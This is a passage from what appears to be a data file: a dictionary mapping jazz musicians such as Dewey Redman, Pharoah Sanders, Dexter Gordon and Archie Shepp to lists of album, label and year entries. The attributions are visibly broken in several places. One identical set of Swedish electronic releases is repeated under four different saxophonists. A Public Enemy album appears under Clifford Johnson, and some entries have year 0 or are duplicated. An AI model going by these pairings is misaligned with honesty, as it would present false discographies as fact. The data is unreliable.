label--1984','\\\nWiggin\\' Out--HiFi Jazz--1960','\\\nJam Session--EmArcy--1954','\\\nMontgomeryland Volume One--Pacific Jazz--0','\\\nClifford Brown And Max Roach--Emarcy--1954','\\\nMove - Jam Session--EmArcy--1954','\\\nJam Session--EmArcy--1954','\\\nJam Session--EmArcy--1954','\\\nBrown And Roach Incorporated--Emarcy--1955','\\\nDinah Jams--Emarcy--1955','\\\nStudy In Brown--EmArcy--1955','\\\nIn Concert--Gene Norman Presents--1955'),'\\\nAzar Lawrence':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nDewey Redman':('\\\nTarik--BYG Records--1970','\\\nThe Ear Of The Behearer--Impulse!--1973','\\\nLook For The Black Star--Fontana--1966','\\\nCoincide--Impulse!--1975','\\\nOld And New Dreams--Black Saint--1977','\\\nMusics--Galaxy--1979','\\\nOld And New Dreams--ECM Records--1979','\\\n80/81--ECM Records--1980','\\\nThe Ballad Of The Fallen--ECM Records--1983','\\\nRed And Black In Willisau--Black Saint--1985','\\\nSplit Image--Enja Records--1985','\\\nChoices--ENJA Records--1992','\\\nSchool Work--Mons Records--1993','\\\nAfrican Venus--Evidence (5)--1994','\\\nSatin Doll--Venus Records (5)--1998','\\\nMomentum Space--Verve Records--1999','\\\nTNT--Telarc--2001','\\\nBirth--Atlantic--1972','\\\nThe Key Of Life--Vineyard Record Company--2009','\\\nLook For The Black Star--Fontana--1966','\\\nNew York Is Now!--Blue Note--1968','\\\nOrnette At 12--Impulse!--1969','\\\nMan On The Moon / Growing Up--Stateside--1969','\\\nLiberation Music Orchestra--Impulse!--1970','\\\nFriends And Neighbors - Ornette Live At Prince Street--Flying Dutchman--1970','\\\nEscalator Over The Hill--JCOA Records--0','\\\nLove Call--Blue Note--1971','\\\nScience Fiction--Columbia--1972','\\\nSkies Of America--Columbia--1972','\\\nCrisis--Impulse!--1972','\\\nExpectations--Columbia--1972','\\\nBirth--Atlantic--1972','\\\nImpulse Energy Essentials (A Developmental And Historical Introduction To The New Music)--Impulse!--1972','\\\nNumatik Swing Band--JCOA Records Virgin--1975','\\\nFort Yawuh--Impulse!--1973','\\\nRelativity Suite--JCOA Records--1973','\\\nImpulse Artists On Tour--Impulse!--1974'),'\\\nSteve Grossman':('\\\nSome Shapes To Come--PM--1974','\\\nJazz A Confronto 23--Horo Records--1975','\\\nTerra Firma--PM--1977','\\\nBorn At The Same Time--Owl Records (4)--1978','\\\nPerspective--Atlantic--1979','\\\nWay Out East - Vol. 1--Red Record--1984','\\\nWay Out East - Vol. 2--Red Record--1984','\\\nSynergy--Red Record--1986','\\\nLove Is The Thing--Red Record--1986','\\\nKatonah--DIW--1986','\\\nLive At The Someday Volume 1--Someday Of Mugen Music--1990','\\\nLive At Café Praga--Timeless Records (3)--1991','\\\nDo It--Dreyfus Jazz--1991','\\\nIn New York--Dreyfus Jazz--1992','\\\nTime To Smile--Dreyfus Jazz--1994','\\\nQuartet--Dreyfus Jazz--1999','\\\nSoirée--Unison (8)--1979','\\\nTvé Vlasy Kvetou / I Písničky Stárnou / Pro Dědečka / Hutnická--Supraphon--1961','\\\nMiles Davis At Fillmore--Columbia--1970','\\\nAlone Together--Takt Jazz Series--1970','\\\nHino\\'s Journey To Air--Love Records (27)--1970','\\\nThe Sun--Express--1971','\\\nJack Johnson (Original Soundtrack Recording)--Columbia Masterworks--1971','\\\nLive-Evil--Columbia--1971','\\\nJazz Jamboree 72--Polskie Nagrania Muza--1972','\\\nLive At The Lighthouse--Blue Note--1972','\\\nMerry Go Round--Blue Note--1972','\\\nUnicorn--Three Blind Mice--1973','\\\nMr. Jones--Blue Note--1973','\\\nBlack Beauty (Miles Davis At Fillmore West)--CBS/Sony--1973','\\\nMr. Thunder--Eastwest Records (2)--1974','\\\nGet Up With It--Columbia--1974'),'\\\nJohn Klemmer':('\\\nAnd We Were Lovers--Cadet--1968','\\\nLook In The Sky / And We Were Lovers--Cadet--1968','\\\nBlowin\\' Gold--Cadet Concept--1969','\\\nEruptions--Cadet Concept--1970','\\\nAll The Children Cried--Cadet Concept--1970','\\\nWaterfalls--Impulse!--1972','\\\nConstant Throb--Impulse!--1972','\\\nIntensity--Impulse!--1973','\\\nMagic And Movement--Impulse!--1974','\\\nFresh Feathers--ABC Records--1974','\\\nTouch--ABC Records--1975','\\\nTouch--ABC Records--1975','\\\nBarefoot Ballet--ABC Records--1976','\\\nMagic Moments--Chess--1976','\\\nAt 17--ABC Records--1976','\\\nLifestyle (Living And Loving)--ABC Records--1977','\\\nQuiet Afternoon--ABC Records--1977','\\\nArabesque--ABC Records--1978','\\\nMasters Of The Saxophone--ABC Records--1978','\\\nCry--ABC Records--1978','\\\nMosaic - The Best Of John Klemmer Volume One--MCA Records--1979','\\\nBrazilia--ABC Records--1979','\\\nNexus--Arista Novus--1979','\\\nStraight From The Heart--Nautilus Recordings--1979','\\\nMagnificent Madness--Elektra--1980','\\\nMagnificent Madness--Elektra--1980','\\\nBallads By Four--Galaxy--1981','\\\nFinesse--Nautilus Recordings--1981','\\\nHush--Elektra--1981','\\\nLet\\'s Make Love--Elektra--1981','\\\nSolo Saxophone II - Life--Elektra--1981','\\\nThe Best Of John Klemmer / Volume 2 / The Saxophone Player--MCA Records--1982','\\\nBlowin\\' Gold--Chess--1982','\\\nJohn Klemmer--MCA Coral--1984','\\\nMusic--MCA Records--1989','\\\nSimpatico--JVC--1997','\\\nPriceless Jazz Collection--GRP--1999','\\\nCrossection--MCA Records--1979','\\\nInvolvement--Cadet--1967'),'\\\nDave Liebman':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nPharoah Sanders':('\\\nPharaoh--ESP Disk--1965','\\\nTauhid--Impulse!--1967','\\\nKarma--Impulse!--1969','\\\nJewels Of Thought--Impulse!--1970','\\\nPtah, The El Daoud--Impulse!--1970','\\\nSummun Bukmun Umyun - Deaf Dumb Blind--Impulse!--1970','\\\nJourney In Satchidananda--Impulse!--1971','\\\nOh! Pharoah Speak--Trip Records (2)--1971','\\\nThembi--Impulse!--1971','\\\nLive In Seattle--Impulse!--1971','\\\nLive At The East--Impulse!--1972','\\\nThe Best Of Pharoah Sanders--Impulse!--1972','\\\nBlack Unity--Impulse!--1972','\\\nWisdom Through Music--Impulse!--1973','\\\nIzipho Zam (My Gifts)--Strata-East--1973','\\\nVillage Of The Pharoahs--Impulse!--1973','\\\nElevation--Impulse!--1974','\\\nLove In Us All--Impulse!--1974','\\\nSun Ra And His Arkestra Featuring Pharoah Sanders And Black Harold--El Saturn Records--1976','\\\nPharoah--India Navigation--1977','\\\nLove Will Find A Way--Arista--1978','\\\nGot To Give It Up--Arista--1978','\\\nPharomba / As You Are--Arista--1978','\\\nJourney To The One--Theresa Records--1980','\\\nRejoice--Theresa Records--1981','\\\nBeyond A Dream--Arista Novus--1981','\\\nLive...--Theresa Records--1982','\\\nHeart Is A Melody--Theresa Records--1983','\\\nThis Is For You, John--Baystate--1984','\\\nShukuru--Theresa Records--1985','\\\nA Prayer Before Dawn--Theresa Records--1987','\\\nOh Lord, Let Me Do No Wrong--Doctor Jazz--1987','\\\nAfrica--Timeless Records (3)--1987','\\\nA Tribute To John Coltrane / Blues For Coltrane--Impulse!--1988','\\\nMoon Child--Timeless Records (3)--1990','\\\nWelcome To Love--Timeless Records (3)--1991','\\\nEd Kelly & Friend--Theresa Records--1979','\\\nSolomon\\'s Daughter--Evidence (5)--1994','\\\nThe Trance Of Seven Colors--Axiom--1994','\\\nStolen Moments Red Hot + Cool--GRP--1994','\\\nMessage From Home--Verve Records--1996','\\\nPriceless Jazz Collection--GRP--1997','\\\nSave Our Children--Verve Records--1998','\\\nCrescent With Love--Venus Records (5)--1993'),'\\\nBen Webster':('\\\nThe Sheik Of Araby / Conversing In Blue--Blue Note--1945','\\\nTenor Sax Stylings - Vol. 2--Brunswick--1952','\\\nMusic With Feeling--Norgran Records--1954','\\\nRex Stewart And His Orchestra --X--1954','\\\nThe Consummate Artistry of Ben Webster--Norgran Records--1954','\\\nThe Kid And The Brute--Clef Records--1993','\\\nThe Big Sounds Of Coleman Hawkins And Ben Webster--Brunswick--1956','\\\nThe Jazz Greats - Volume III - Giants Of Jazz - Reeds - Part II--EmArcy--1955','\\\nColeman Hawkins Encounters Ben Webster--Verve Records--0','\\\nBen Webster And Associates--Verve Records--1959','\\\nBen Webster Meets Oscar Peterson--Verve Records--1959','\\\nColeman Hawkins Encounters Ben Webster--Verve Records--1959','\\\nEvolution Of The Blues Song--Columbia--1959','\\\nThe Soul Of Ben Webster--Verve Records--1960','\\\nGerry Mulligan Meets Ben Webster--Verve Records--1960','\\\nAt The Renaissance--HiFi Jazz--1960','\\\nRoots--Reprise Records--1961','\\\nThe Warm Moods--Reprise Records--1961','\\\nClark Terry Sextet--Cameo Parkway--1962','\\\nBBB & Co.--Prestige Swingville--1962','\\\nWanted To Do One Together--Columbia--1962','\\\nMore (Theme From Mondo Cane)--Cameo--1963','\\\nSoulmates--Riverside Records--1963','\\\nSee You At The Fair--Impulse!--1966','\\\nThe Influence Of Five--Mainstream Records--1965','\\\nAngry Tenors--CBS--1965','\\\nIntimate!--Fontana--1965'),'\\\nBenny Golson':('\\\nBenny Golson\\'s New York Scene--Contemporary Records--1958','\\\nSaxes In Stereo--Riverside Records--1959','\\\nRoger Guérin - Benny Golson--Columbia--1959','\\\nThe Curtis Fuller Jazztet--Savoy Record Co., Inc.--1959','\\\nThe Greatest Trumpet Of Them All--Verve Records--1959','\\\nAre You Real / Just By Myself--Fontana--0','\\\nDown Fuzz--New Jazz--1959','\\\nWinchester Special--New Jazz--1959','\\\nGroovin\\' With Golson--New Jazz--1959','\\\nThe Other Side Of Benny Golson--Riverside Records--1959','\\\nEasy Living / Serenata--Argo (6)--0','\\\nGone With Golson--Prestige--1960','\\\nWinchester Special--Metronome--0','\\\nBlues March--Columbia--1960','\\\nGettin\\' With It--New Jazz--1960','\\\nMeet The Jazztet--Argo (6)--1960','\\\nThe Jazztet And John Lewis--Argo (6)--1961','\\\nMy Funny Valentine / Blues On Down--Argo (6)--1961','\\\nBig City Sounds--Argo (6)--1961','\\\nTake A Number From 1 To 10--Argo (6)--1961','\\\nTriple Play Stereo Pop + Jazz = Swing--Audio Fidelity--1962','\\\nThe Modern Touch--Riverside Records--1958','\\\nTurning Point--Mercury--1963','\\\nJust Jazz!--Audio Fidelity--1965','\\\nStockholm Sojourn--Prestige--1965','\\\nTune In Turn On - To The Hippest Commercials Of The Sixties--Verve Records--1967','\\\nBlues-ette--Savoy Records--1959','\\\nKiller Joe--Columbia--1977','\\\nThe New Killer Joe--CBS--1977','\\\nAre You Real--CBS/Sony--1977','\\\nI\\'m Always Dancin\\' To The Music--Columbia--1978','\\\nI\\'m Always Dancin\\' To The Music--Columbia--1978','\\\nBlues On Down--Milestone (4)--1978','\\\nCalifornia Message--Baystate--1981','\\\nTime Speaks--Baystate--1983','\\\nDouble Or Nothin\\'--Liberty--1957','\\\nThis Is For You, John--Baystate--1984','\\\nStardust--Denon--1987','\\\nI Remember Miles--Alfa Jazz--1993','\\\nBlues Ette Part II--Savoy Jazz--1993'),'\\\nDexter Gordon':('\\\nThe Chase--Dial Records (3)--1947','\\\nThe Chase And The Steeplechase--Decca--1952','\\\nDexter Blows Hot And Cool--Dootone Records--1955','\\\nDaddy Plays The Horn--Bethlehem Records--1955','\\\nCry Me A River--Dootone Records--1956','\\\nWest Coast Jazz Concert--Regent--1957','\\\nDexter Rides Again--Savoy Records--1958','\\\nNostalgia (Fats Navarro Memorial No. 2)--Savoy Records--1958','\\\nThe Resurgence Of Dexter Gordon--Jazzland--1960','\\\nDexter Calling . . .--Blue Note--1961','\\\nDoin\\' Allright--Blue Note--1961','\\\nA Swingin\\' Affair--Blue Note--1962','\\\nGo!--Blue Note--1962','\\\nOur Man In Paris--Blue Note--1963','\\\nOne Flight Up--Blue Note--1964','\\\nThe Master Swingers!--Fontana--1966','\\\nGettin\\' Around--Blue Note--1966','\\\nSetting The Pace--Prestige--1967','\\\nThe Tower Of Power!--Prestige--1969','\\\nA Day In Copenhagen--MPS Records--1969','\\\nThe Dial Sessions--Storyville--1969','\\\nMore Power!--Prestige--1969','\\\nThe Jumpin\\' Blues--Prestige--1970','\\\nThe Panther!--Prestige--1970','\\\nSome Other Spring, Blues And Ballads--Sonet--1970','\\\nLive At The Amsterdam Paradiso--Catfish--1971','\\\nThe Chase!--Prestige--1971','\\\nThe Montmartre Collection Vol. 1--Black Lion Records--1971','\\\nThe Foremost!--Onyx Records (3)--1972','\\\nParisian Concert--Futura Records (2)--1973','\\\nBattle Of Tenor Saxes--IAJRC--1973'),'\\\nWayne Marsh':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nZoot Sims':('\\\nYou Go To My Head / The Scene Is Clean--Prestige--1950','\\\nSwingin\\' With Zoot Sims--Prestige--1951','\\\nTenor Sax Favorites--Prestige--1951','\\\nMiles Davis Plays The Compositions Of Al Cohn--Prestige--1953','\\\nZoot Goes To Town: Jazz Time Paris, Vol. 8--Vogue--1953','\\\nClifford Brown Ensemble Featuring Zoot Sims--Pacific Jazz--1955','\\\nZoot Simms In Hollywood--New Jazz--1954','\\\nGoes To Town: Jazz Time in Paris vol. 14--Vogue Productions--1954','\\\nJack Sheldon Quintet--Jazz: West--1955','\\\nCalifornia Concerts--Artist--0','\\\nHappy Minors--Bethlehem Records--1955','\\\nThe Jazz Guitarist--Savoy Records--1956','\\\nConception--Prestige--1956','\\\nThe Modern Art Of Jazz--Dawn (3)--1956','\\\nQuartets--Prestige--1956','\\\nZoot Sims Avec Henri Renaud Et Son Orchestre Et Jon Eardley--Ducretet Thomson--1956','\\\nWhooeeee--Storyville (3)--1956','\\\nClifford Brown Ensemble Featuring Zoot Sims--Vogue--1956','\\\nJutta Hipp With Zoot Sims--Blue Note--1956','\\\nThe Brothers--Prestige--1956','\\\nTonite\\'s Music Today--Storyville (3)--1956','\\\nZoot Sims Plays Four Altos--ABC-Paramount--1957','\\\nAl And Zoot--Coral--1957','\\\nThe Four Brothers .... Together Again !--Vik--1957','\\\nTenor Conclave--Prestige--1957','\\\nLocking Horns--Rama--1957','\\\nZoot Sims Goes To Jazzville--Dawn (3)--1957','\\\nThe Jon Eardley Seven--Prestige--1956','\\\nPlays Alto, Tenor And Baritone--ABC-Paramount--1957','\\\nZoot Meet Hans--Polydor--0','\\\nTenors Anyone?--Dawn (3)--1958','\\\nThe Swingers!--World Pacific Records--1959','\\\nJazz Alive! A Night At The Half Note--United Artists Records--1959','\\\nA Gasser!--World Pacific Records--1959','\\\nBlues And Haikus--Hanover--1959'),'\\\nCharles Lloyd':('\\\nDiscovery!--Columbia--1964','\\\nForest Flower--Atlantic--1967','\\\nCharles Lloyd In Europe--Atlantic--1968','\\\nNirvana--Columbia--1968','\\\nSoundtrack--Atlantic--1969','\\\nIn The Soviet Union: Recorded At The Tallinn Jazz Festival--Atlantic--1970','\\\nThe Best Of Charles Lloyd--Atlantic--1970','\\\nMoon Man--Kapp Records--1970','\\\nWarm Waters--Kapp Records--1971','\\\nMoonman--Kapp Records--1971','\\\nWaves--A&M Records--0','\\\nGeeta--A&M Records--1973','\\\nChico Hamilton--Warner Bros. Records--1976','\\\nAlmost Summer--MCA Records--1978','\\\nWeavings--Pacific Arts--1978','\\\nKoto--ADC Records--1979','\\\nAutumn In New York--Destiny Records--1979','\\\nEuropa Jazz--Europa Jazz--1981','\\\nAt His Best--JCI & Associated Labels--1990','\\\nNotes From Big Sur--ECM Records--1992','\\\nThe Call--ECM Records--1993','\\\nAcoustic Masters 1--Atlantic--1994','\\\nForest Flower / Soundtrack--Rhino Records (2)--1994','\\\nAll My Relations--ECM Records--1995','\\\nCanto--ECM Records--1997','\\\nAfterglow (Music From The Motion Picture)--Columbia--1998','\\\nVoice In The Night--ECM Records--1999','\\\nThe Water Is Wide--ECM Records--2000','\\\nHyperion With Higgins--ECM Records--2001','\\\nFour Tenors--Idem Home Video--2001','\\\nLift Every Voice--ECM Records--2002','\\\nWhich Way Is East--ECM Records--2004','\\\nJumping The Creek--ECM Records--2005','\\\nSangam--ECM Records--2006','\\\nAthens Concert--ECM Records--2011'),'\\\nHank Mobley':('\\\nThe Max Roach Quartet Featuring Hank Mobley--Debut Records--1955','\\\nMobley\\'s Message--Prestige--1956','\\\nJazz Message #2--Savoy Records--1956','\\\nInformal Jazz--Prestige--1956','\\\nThe Jazz Message Of--Savoy Records--1956','\\\nTenor Conclave--Prestige--1957','\\\nHank Mobley--Blue Note--1957','\\\nHank Mobley With Donald Byrd And Lee Morgan--Blue Note--1957','\\\nQuintet--Blue Note--1957','\\\nHank Mobley And His All Stars--Blue Note--1957','\\\nAnother Monday Night At Birdland--Roulette--1959','\\\nMonday Night At Birdland--Roulette--1959','\\\nPeckin\\' Time--Blue Note--1959','\\\nSoul Station--Blue Note--1960','\\\nRoll Call--Blue Note--1960','\\\nThis Is New--Riverside Records--1957','\\\nWorkout--Blue Note--1961','\\\nNo Room For Squares--Blue Note--1964','\\\nThe Turnaround--Blue Note--1965','\\\nBody & Soul--Status Records (2)--1965','\\\nDippin\\'--Blue Note--1966','\\\nA Caddy For Daddy--Blue Note--1966','\\\nHi Voltage--Blue Note--1967','\\\nReach Out!--Blue Note--1968','\\\nReach Out I\\'ll Be There / Goin\\' Out Of My Head--Blue Note--1968','\\\nThe Flip--Blue Note--1969','\\\nMobley\\'s 2nd Message--Prestige--1957','\\\nBlowin\\' Sessions--Blue Note--1975','\\\nMessages--Prestige--1976','\\\nIntroducing Lee Morgan--Savoy Records--1956','\\\nInterpretations By The Wynton Kelly Quartet--Vee Jay Records--1977','\\\nA Slice Of The Top--Blue Note--1979','\\\nPoppin\\'--Blue Note--1980','\\\nThinking Of Home--Blue Note--1980','\\\nThird Season--Blue Note--1980','\\\nMonday Night At Birdland + Life Is A Many Splendored Gig--Roulette--1981','\\\nFar Away Lands--Blue Note--1985','\\\nAnother Workout--Blue Note--1985','\\\nStraight No Filter--Blue Note--1986','\\\nThe Blue Note Years--Blue Note--1988','\\\nIn Person, Saturday Night At The Blackhawk, San Francisco, Volume II--Columbia--1961','\\\nIn Person, Friday Night At The Blackhawk, San Francisco, Volume I--Columbia--1961'),'\\\nBob Berg':('\\\nEastern Rebellion 2--Timeless Records (3)--1977','\\\nNew Birth--Xanadu Records--1978','\\\nEastern Rebellion 3--Timeless Records (3)--1980','\\\nEastern Rebellion 4--Timeless Records (3)--1984','\\\nSteppin\\' Live In Europe--Red Record--1985','\\\nShort Stories--Chase Music Group--1987','\\\nCycles--Denon--1988','\\\nThe Truth - Live At Montmartre--Storyville--1988','\\\nNew York Journey--Seeds Records (2)--1990','\\\nIn The Shadows--Denon--1990','\\\nBack Roads--Denon--1991','\\\nSummerhill--Lipstick Records (3)--1991','\\\nEnter The Spirit--GRP--1993','\\\nVirtual Reality--Denon--1993','\\\nRiddles--Stretch Records--1994','\\\nCedar\\'s Blues: Cedar Walton Quintet Live--Red Record--1985','\\\nThe JazzTimes Superband--Concord Records--2000','\\\nWhat Was, What Is, What Will Be--Warner Bros. Records--1971','\\\nSilver \\'N Brass--Blue Note--1975','\\\nAurora--Adamo Records and Tapes--1976','\\\nSilver \\'N Wood--Blue Note--1976','\\\nHouse Of The Rising Sun--Kudu--1976','\\\nNatural Life--Asi Records--1977','\\\nSilver \\'N Voices--Blue Note--1977','\\\nLite Flite--SteepleChase--1977','\\\nChanges & Things--Xanadu Records--1978','\\\nVisitation--SteepleChase--1978','\\\nAnimation--Columbia--1978','\\\nEmbarkation--SteepleChase--1978','\\\nYou Ain\\'t No Friend Of Mine!--Fantasy--1978','\\\nFirst Set--SteepleChase--1978','\\\nThe Great Harvest--Union Records (3)--1978'),'\\\nBilly Pierce':('\\\nGive And Take--Sunnyside--1988','\\\nRolling Monk--Bellaphon--1993','\\\nOdyssey--MoWest--1972','\\\nIt\\'s Easy To Remember--Matra (2)--1979','\\\nLive At Montreux And Northsea--Timeless Records (3)--1981','\\\nAlbum Of The Year--Timeless Records (3)--1981','\\\nStraight Ahead--Concord Jazz--1981','\\\nLive At Bubba\\'s Jazz Restaurant--Kingdom Jazz--1981','\\\nKeystone 3--Concord Jazz--1982','\\\nOh-By The Way--Timeless Records (3)--1982','\\\nArt Blakey In Sweden--Amigo--1982','\\\nWynton Marsalis\\' First Recordings--Kingdom Jazz--1983','\\\nAlter Ego--Sunnyside--1984','\\\nThe All American Hero--no label--1985','\\\nWilliam The Conqueror--Sunnyside--1985','\\\nProgress Report--Sunnyside--1985','\\\nAfter--Columbia--1986','\\\nGary Burton And The Berklee All-Stars--JVC--1986','\\\nCivilization--Blue Note--1987','\\\nAngel Street--Blue Note--1988','\\\nSuperblue--Blue Note--1989','\\\nNative Heart--Blue Note--1990','\\\nNew York Live--Blue Note--1991','\\\nFor The First Time--Novus--1991','\\\nThe History Of Art Blakey And The Jazz Messengers--Blue Note--1991','\\\nThe Story Of Neptune--Blue Note--1992','\\\nJames Williams Meets The Saxophone Masters--Columbia--1992'),'\\\nJoe Farrell':('\\\nOutback--CTI Records--1972','\\\nMoon Germs--CTI Records--1973','\\\nJoe Farrell Quartet--CTI Records--1970','\\\nUpon This Rock--CTI Records--1974','\\\nPenny Arcade--CTI Records--1974','\\\nCanned Funk--CTI Records--1975','\\\nTones For Joan\\'s Bones--Vortex Records (2)--1968','\\\nBenson & Farrell--CTI Records--1976','\\\nLa Catedral Y El Toro--Warner Bros. Records--1977','\\\nNight Dancing--Warner Bros. Records--1978','\\\nSoft Space--Inner City Records--1978','\\\nNight Dancing--Warner Bros. Records--1978','\\\nSkate Board Park--Xanadu Records--1979','\\\nChair In The Sky--Elektra--1979','\\\nFlute Talk--Xanadu Records--1979','\\\nChicago \\'N All That Jazz--Groove Merchant--1975','\\\n900 Shares Of The Blues--Groove Merchant--1974','\\\nSonic Text--Contemporary Records--1981','\\\nJazz Gala \\'80--Kingdom Jazz--1982','\\\nDarn That Dream--RealTime Records (4)--1982','\\\nThree-Way Mirror--Reference Recordings--1985','\\\nNew York Connection--Overseas Records--1980','\\\nLive At Midem \\'80--RCA--1980','\\\nVillage Vanguard Live Sessions 2--Lester Recording Catalog--1990','\\\nMiddle Class White Boy--Elektra Musician--1982','\\\nLive--PM--1975','\\\nDarn That Dream--Drive Archive--1994','\\\nThe Last From Lennie\\'s--Prestige--2003','\\\nThe Ultimate--Blue Note--1968','\\\nTomboy / Kiss Me And Kiss Me And Kiss Me--RCA--1959','\\\nNewport Suite--Roulette--1960','\\\nDouble Exposure--Atlantic--1961'),'\\\nMichael Brecker':('\\\nTring-A-Ling--Choice (7)--1978','\\\nBlue Montreux--Arista--1979','\\\nIn Out And Around--Timeless Records (3)--1978','\\\n80/81--ECM Records--1980','\\\nMorning Sun--Pausa Records--1981','\\\nCityscape--Warner Bros. Records--1982','\\\nDouble, Double You--ECM Records--1984','\\\nWings--Enja Records--1984','\\\nModern Times--Elektra Musician--1984','\\\nHearts And Numbers--Hip Pocket Records--1985','\\\nLive Tokyo 86--VideoArts--1986','\\\nSwish--Overseas Records--1980','\\\nDiscovery--Columbia--1986','\\\nMichael Brecker--MCA Impulse!--1987','\\\nNew York Connection--Overseas Records--1980','\\\nDon\\'t Try This At Home--Impulse!--1988','\\\nMichael Brecker--Fabbri Editori--1989','\\\nSome Other Time (A Tribute To Chet Baker)--Triloka Records--1990','\\\nNow You See It... (Now You Don\\'t)--GRP--1990','\\\nClaus Ogerman Featuring Michael Brecker--GRP--1991','\\\nThe Saxophone featuring Two T\\'s--Novus--1993','\\\nInfinity--Impulse!--1995','\\\nTales From The Hudson--Impulse!--1996','\\\nMidnight--Button Records (2)--1996','\\\nTwo Blocks From The Edge--Impulse!--1998','\\\nTime Is Of The Essence--Verve Records--1999','\\\nNotes--Gala Records (4)--1986','\\\nNearness Of You (The Ballad Book)--Verve Records--2001','\\\nAmerican Dreams--Verve Records--0','\\\nDirections In Music - Live At Massey Hall--Verve Records--2002','\\\nSome Skunk Funk - Live At Leverkusener Jazztage--Telarc--2005','\\\nSome Skunk Funk - Live At Leverkusener Jazztage--BHM Productions--2006','\\\nPilgrimage--Heads Up International--2007','\\\nLive in Helsinki 1995--Random Act Records--2015'),'\\\nArchie Shepp':('\\\nBill Dixon 7-Tette / Archie Shepp And The New York Contemporary 5--Savoy Records--1964','\\\nVol. 1.--Sonet--1964','\\\nFour For Trane--Impulse!--1965','\\\nOn This Night--Impulse!--1965','\\\nFire Music--Impulse!--1965','\\\nLive In San Francisco--Impulse!--1966','\\\nNew Thing At Newport--Impulse!--1966','\\\nRufus--Fontana--1966','\\\nMama Too Tight--Impulse!--1967','\\\nLife At The Donaueschingen Music Festival--SABA--1967','\\\nThe Magic Of Ju-Ju--Impulse!--1967','\\\nThe Way Ahead--Impulse!--1968','\\\nVol. 2.--Sonet--1964','\\\nThree For A Quarter One For A Dime--Impulse!--1969','\\\nPoem For Malcom--BYG Records--1969','\\\nYasmina, A Black Woman--BYG Records--1969','\\\nBlasé--BYG Records--1969','\\\nThe Archie Shepp-Bill Dixon Quartet--Savoy Records--1962','\\\nCoral Rock--America Records--1970','\\\nPitchin Can--America Records--1970','\\\nBlack Gipsy--America Records--1970','\\\nArchie Shepp & Philly Joe Jones--America Records--1970','\\\nFor Losers--Impulse!--1970','\\\nLive At The Panafrican Festival--BYG Records--1971','\\\nMoney Blues / Dr. King, The Peaceful Warrior--Impulse!--1971','\\\nThe World Of Cecil Taylor--Candid--1960','\\\nYasmina, A Black Woman / Live At The Panafrican Festival--BYG Records--1971','\\\nLive In Antibes (Vol. 1)--BYG Records--1971','\\\nThings Have Got To Change--Impulse!--1971','\\\nLive In Antibes (Vol. 2)--BYG Records--1971','\\\nAttica Blues--Impulse!--1972','\\\nArchie Shepp + The New York Contemporary Five--Storyville--1972','\\\nLive At The Festival--Enja Records--1973','\\\nThe Cry Of My People--Impulse!--1973','\\\nKwanza--Impulse!--1974','\\\nA Sea Of Faces--Black Saint--1975','\\\nThere\\'s A Trumpet In My Soul--Arista--1975','\\\nMariamar--Horo Records--1976','\\\nSteam--Enja Records--1976','\\\nForce - Sweet Mao - Suid Afrika 76--Uniteledis--1976','\\\nDoodlin\\'--Inner City Records--1976','\\\nJazz A Confronto 27--Horo Records--1976','\\\nHi-Fly--Compendium Records--1976','\\\nMontreux Two--Arista--1976','\\\nBijou--Musica Records--1976','\\\nMontreux One--Arista--1976'),'\\\nClifford Johnson':('\\\nThere\\'s A Poison Goin On....--Atomic Pop--1999'),'\\\nMilt Bernhardt':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nJimmy Cleveland':('\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nSeldon Powell Sextet Featuring Jimmy Cleveland--Roost--1956','\\\nTrombones--Savoy Records--1956','\\\nCleveland Style--EmArcy--1958','\\\nA Map Of Jimmy Cleveland--Mercury--1959','\\\nRhythm Crazy--EmArcy--1959','\\\nModern Jazz Perspective--Columbia--1957','\\\nI Giganti Del Jazz Vol. 35--Curcio--1981','\\\nMy Fair Lady Loves Jazz--ABC-Paramount--1957','\\\nComplete Recordings--Lone Hill Jazz--2006','\\\nThey Met At The Continental Divide (It Wasn\\'t Exactly A Battle...)--Warner Bros. Records--1959','\\\nIntroducing Jimmy Cleveland And His All Stars--EmArcy--1956','\\\nLionel Hampton--Vogue Productions--1953','\\\nVol. 1--Metronome--1953','\\\nWork Of Art--Prestige--1953','\\\nLionel 